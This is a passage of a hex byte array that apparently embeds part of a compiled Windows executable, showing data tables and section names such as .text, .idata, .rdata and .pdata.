0x00, 0x00, 0xB8, 0x9A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0xD1, 0x00, 0x00, 0xE8, 0x9E, 0x00, 0x00, 0xE0, 0x9A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC8, 0xA1, 0x00, 0x00, 0x20, 0x9D, 0x00, 0x00, 0xA0, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x30, 0xD3, 0x00, 0x00, 0x50, 0x9B, 0x00, 0x00, 0x28, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0xC8, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xD4, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x78, 0x9A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xD1, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0xD8, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x50, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x9D, 0x00, 0x00, 0xA0, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x80, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x9F, 0x00, 0x00, 0xF8, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0xE0, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xD2, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0xB8, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x80, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x9E, 0x00, 0x00, 0x90, 0x9A, 0x00, 0x00, 0xA0, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0xD1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0xE8, 0x9E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xA0, 0x00, 0x00, 0x00, 0x9F, 0x00, 0x00, 0xE8, 0xA0, 0x00, 0x00, 0x00, 0xA2, 0x00, 0x00, 0x58, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xD3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0xB0, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xD0, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0xA8, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x9B, 0x00, 0x00, 0xE8, 0xA0, 0x00, 0x00, 0x00, 0xA2, 0x00, 0x00, 0x58, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x9A, 0x00, 0x00, 0xA0, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0, 0xD3, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x18, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x9B, 0x00, 0x00, 0xA0, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9F, 0x00, 0x00, 0xE8, 0xA0, 0x00, 0x00, 0x00, 0xA2, 0x00, 0x00, 0x58, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0xC0, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xD1, 0x00, 0x00, 0xE8, 0x9B, 0x00, 0x00, 0x30, 0x9E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xD1, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0xE8, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x70, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x30, 0xD2, 0x00, 0x00, 0xB8, 0x9B, 0x00, 0x00, 0x98, 0x9E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xD2, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x80, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE0, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xD4, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x68, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0xD1, 0x00, 0x00, 0x38, 0xA1, 0x00, 0x00, 0x28, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0xD0, 0x00, 0x00, 0x80, 0x9E, 0x00, 0x00, 0x50, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x80, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xD2, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0xB0, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xC8, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xD0, 0x00, 0x00, 0xA8, 0xA0, 0x00, 0x00, 0xF0, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xD1, 0x00, 0x00, 0xD8, 0x9F, 0x00, 0x00, 0x18, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x08, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xD2, 0x00, 0x00, 0xB0, 0x9D, 0x00, 0x00, 0x58, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xD3, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x50, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xD0, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0xD1, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x38, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0xD4, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x18, 0x9E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xD1, 0x00, 0x00, 0x40, 0xA0, 0x00, 0x00, 0x10, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x98, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x9E, 0x00, 0x00, 0x98, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xF0, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x50, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xA0, 0x00, 0x00, 0xF8, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xD1, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x40, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xD2, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x80, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0xD4, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x18, 0x9E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x9C, 0x00, 0x00, 0x68, 0x9B, 0x00, 0x00, 0xE8, 0xA0, 0x00, 0x00, 0x00, 0xA2, 0x00, 0x00, 0x58, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xF0, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x80, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xA2, 0x00, 0x00, 0xC0, 0x9E, 0x00, 0x00, 0x98, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x9D, 0x00, 0x00, 0x00, 0x9F, 0x00, 0x00, 0xE8, 0xA0, 0x00, 0x00, 0x00, 0xA2, 0x00, 0x00, 0x58, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x03, 0x80, 0x03, 0x80, 0x24, 0xA3, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x5C, 0xA3, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x7F, 0x69, 0x00, 0x00, 0xFB, 0x69, 0x00, 0x00, 0x10, 0x6A, 0x00, 0x00, 0x67, 0x6A, 0x00, 0x00, 0x95, 0x6F, 0x00, 0x00, 0xAB, 0x6F, 0x00, 0x00, 0x6B, 0x72, 0x00, 0x00, 0xEA, 0x74, 0x00, 0x00, 0x1C, 0x75, 0x00, 0x00, 0x96, 0x77, 0x00, 0x00, 0xA4, 0x77, 0x00, 0x00, 0x05, 0x78, 0x00, 0x00, 0x50, 0x78, 0x00, 0x00, 0xA1, 0x78, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x80, 0x68, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x20, 0x69, 0x00, 0x00, 0xC0, 0x0F, 0x00, 0x00, 0x54, 0x79, 0x00, 0x00, 0x03, 0x01, 0x00, 0x00, 0xE3, 0x7F, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x47, 0x43, 0x54, 0x4C, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x64, 0x69, 0x00, 0x00, 0x00, 0x00, 0x10, 0x10, 0x00, 0x00, 0x60, 0x6A, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x70, 0x7A, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x30, 0x30, 0x00, 0xB0, 0x7A, 0x00, 0x00, 0xC8, 0x05, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x78, 0x00, 0x78, 0x80, 0x00, 0x00, 0x5B, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x79, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xD8, 0x03, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x93, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, 0x66, 0x67, 0x00, 0x00, 0x10, 0x94, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x43, 0x52, 0x54, 0x24, 0x58, 0x43, 0x41, 0x00, 0x00, 0x00, 0x00, 0x18, 0x94, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x43, 0x52, 0x54, 0x24, 0x58, 0x43, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x20, 0x94, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x43, 0x52, 0x54, 0x24, 0x58, 0x43, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x28, 0x94, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x43, 0x52, 0x54, 0x24, 0x58, 0x49, 0x41, 0x00, 0x00, 0x00, 0x00, 0x30, 0x94, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x43, 0x52, 0x54, 0x24, 0x58, 0x49, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x38, 0x94, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x43, 0x52, 0x54, 0x24, 0x58, 0x50, 0x41, 0x00, 0x00, 0x00, 0x00, 0x40, 0x94, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x43, 0x52, 0x54, 0x24, 0x58, 0x50, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x48, 0x94, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x43, 0x52, 0x54, 0x24, 0x58, 0x54, 0x41, 0x00, 0x00, 0x00, 0x00, 0x50, 0x94, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x2E, 0x43, 0x52, 0x54, 0x24, 0x58, 0x54, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x60, 0x94, 0x00, 0x00, 0xA0, 0x05, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x9A, 0x00, 0x00, 0x0C, 0x09, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x72, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xA3, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x76, 0x6F, 0x6C, 0x74, 0x6D, 0x64, 0x00, 0x00, 0x00, 0x84, 0xA3, 0x00, 0x00, 0xD4, 0x02, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x58, 0xA6, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x74, 0x63, 0x24, 0x49, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00, 0x60, 0xA6, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x74, 0x63, 0x24, 0x49, 0x5A, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x68, 0xA6, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x74, 0x63, 0x24, 0x54, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00, 0x70, 0xA6, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x74, 0x63, 0x24, 0x54, 0x5A, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0xB8, 0x0A, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x30, 0xB1, 0x00, 0x00, 0xDC, 0x01, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x24, 0x78, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xB3, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, 0xFC, 0xB3, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x33, 0x00, 0x00, 0x00, 0x00, 0x10, 0xB4, 0x00, 0x00, 0xD8, 0x03, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xB7, 0x00, 0x00, 0x4E, 0x10, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0xB8, 0xD0, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x24, 0x72, 0x00, 0xC0, 0xD1, 0x00, 0x00, 0x50, 0x03, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x24, 0x72, 0x73, 0x00, 0x00, 0x00, 0x00, 0x10, 0xD5, 0x00, 0x00, 0x18, 0x06, 0x00, 0x00, 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x00, 0xEC, 0x07, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x2E, 0x72, 